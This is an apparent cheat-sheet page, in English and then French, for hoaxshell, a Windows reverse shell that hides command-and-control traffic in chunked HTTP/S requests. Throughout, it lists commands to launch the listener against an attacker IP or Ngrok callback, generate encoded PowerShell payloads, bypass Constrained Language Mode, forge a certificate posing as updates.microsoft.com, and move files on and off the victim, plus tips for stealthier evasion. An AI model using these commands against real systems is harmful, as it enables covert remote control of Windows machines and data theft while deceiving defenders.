hoaxshell
Reverse shell HTTP/S pour Windows qui échappe à la détection traditionnelle. Utilise des requêtes HTTP chunked pour fondre le trafic de command-and-control dans du trafic web normal. HTTP/S-based reverse shell for Windows that evades traditional detection. Uses chunked HTTP requests to blend command-and-control traffic into normal web traffic.
↗ https://github.com/t3l3machus/hoaxshellOverview
hoaxshell is a Windows reverse shell that uses HTTP/HTTPS chunked transfer encoding to disguise C2 traffic as normal web browsing. It generates PowerShell payloads that periodically poll the server for commands and return output, blending into HTTP traffic rather than using obvious TCP shells.
Installation
git clone https://github.com/t3l3machus/hoaxshell
cd hoaxshell
pip3 install -r requirements.txt
Basic Usage
HTTP mode (plaintext)
python3 hoaxshell.py -s 10.10.10.50
HTTPS mode (encrypted, with a self-signed cert)
python3 hoaxshell.py -s 10.10.10.50 -c /path/to/cert.pem -k /path/to/key.pem
Specify port
python3 hoaxshell.py -s 10.10.10.50 -p 8080
Use Ngrok for firewall bypass
python3 hoaxshell.py -s abc123.ngrok.io -p 443 -ng
Payload Types
# hoaxshell generates payloads automatically when started:
# [+] Generating payload...
HTTP payload (PowerShell - no exec policy bypass):
powershell -e <base64>
HTTPS payload (trusted certificate):
powershell -e <base64>
Constrained Language Mode bypass variant: Generated automatically when -cm flag is used
python3 hoaxshell.py -s 10.10.10.50 -cm
Generating SSL Certificates
Self-signed cert for HTTPS mode
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
-subj "/C=US/ST=CA/O=Corp/CN=updates.microsoft.com"
python3 hoaxshell.py -s 10.10.10.50 -c cert.pem -k key.pem
How It Works
Target (Windows):
PowerShell script runs in background
Every N seconds: HTTP GET to /get-cmd → receive command
After execution: HTTP POST to /post-res → send output
Attacker:
hoaxshell.py listens for HTTP connections
Queues commands, receives output
Looks like normal web traffic (chunked transfer encoding)
Session Management
# After connection:
# hoaxshell> whoami
# hoaxshell> ipconfig
# hoaxshell> systeminfo
# Upload a file
# hoaxshell> upload /local/path/tool.exe C:\Users\user\tool.exe
# Download a file
# hoaxshell> download C:\Users\user\document.txt /local/output/
Tips
- HTTPS mode significantly improves evasion vs plain HTTP (traffic is encrypted)
- Use a believable domain or Ngrok URL for the callback address
- Combine with Villain for multi-session management
- The polling interval (default: 0.8s) can be tuned to be less frequent for stealth
- Payload execution policy bypass is needed on default Windows installs
Help / Man page
hoaxshell.py [options]
-s HOST Your server hostname/IP (for payload generation)
-p PORT Listen port (default: 8080)
-c CERT SSL certificate file (.pem)
-k KEY SSL private key file (.pem)
-cm Constrained Language Mode bypass variant
-ng Ngrok mode (use ngrok URL as callback)
-gr Generate raw (no base64) payload
-v Verbose output
Vue d’ensemble
hoaxshell est un reverse shell Windows qui utilise l’encodage de transfert chunked HTTP/HTTPS pour déguiser le trafic C2 en navigation web normale. Il génère des payloads PowerShell qui interrogent périodiquement le serveur pour des commandes et renvoient la sortie, se fondant dans le trafic HTTP plutôt que d’utiliser des shells TCP évidents.
Installation
git clone https://github.com/t3l3machus/hoaxshell
cd hoaxshell
pip3 install -r requirements.txt
Utilisation de base
# Mode HTTP (en clair)
python3 hoaxshell.py -s 10.10.10.50
# Mode HTTPS (chiffré, avec un certificat auto-signé)
python3 hoaxshell.py -s 10.10.10.50 -c /path/to/cert.pem -k /path/to/key.pem
# Spécifier le port
python3 hoaxshell.py -s 10.10.10.50 -p 8080
# Utiliser Ngrok pour contourner un pare-feu
python3 hoaxshell.py -s abc123.ngrok.io -p 443 -ng
Types de payload
# hoaxshell génère les payloads automatiquement au démarrage :
# [+] Generating payload...
Payload HTTP (PowerShell, sans contournement de la politique d’exécution) :
powershell -e <base64>
Payload HTTPS (certificat de confiance) :
powershell -e <base64>
Variante de contournement du Constrained Language Mode : générée automatiquement quand le flag -cm est utilisé
python3 hoaxshell.py -s 10.10.10.50 -cm
Générer des certificats SSL
Certificat auto-signé pour le mode HTTPS
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
-subj "/C=US/ST=CA/O=Corp/CN=updates.microsoft.com"
python3 hoaxshell.py -s 10.10.10.50 -c cert.pem -k key.pem
Fonctionnement
Cible (Windows) :
Le script PowerShell tourne en arrière-plan
Toutes les N secondes : HTTP GET vers /get-cmd → reçoit une commande
Après exécution : HTTP POST vers /post-res → envoie la sortie
Attaquant :
hoaxshell.py écoute les connexions HTTP
Met les commandes en file d'attente, reçoit la sortie
Ressemble à du trafic web normal (encodage de transfert chunked)
Gestion de session
# Après connexion :
# hoaxshell> whoami
# hoaxshell> ipconfig
# hoaxshell> systeminfo
# Uploader un fichier
# hoaxshell> upload /local/path/tool.exe C:\Users\user\tool.exe
# Télécharger un fichier
# hoaxshell> download C:\Users\user\document.txt /local/output/
Conseils
- Le mode HTTPS améliore significativement l’évasion par rapport au HTTP simple (le trafic est chiffré)
- Utilisez un domaine crédible ou une URL Ngrok pour l’adresse de callback
- Combinez avec Villain pour une gestion multi-session
- L’intervalle de polling (par défaut : 0.8s) peut être ajusté pour être moins fréquent, pour plus de discrétion
- Le contournement de la politique d’exécution du payload est nécessaire sur les installations Windows par défaut
Aide / Page de manuel
hoaxshell.py [options]
-s HOST Your server hostname/IP (for payload generation)
-p PORT Listen port (default: 8080)
-c CERT SSL certificate file (.pem)
-k KEY SSL private key file (.pem)
-cm Constrained Language Mode bypass variant
-ng Ngrok mode (use ngrok URL as callback)
-gr Generate raw (no base64) payload
-v Verbose output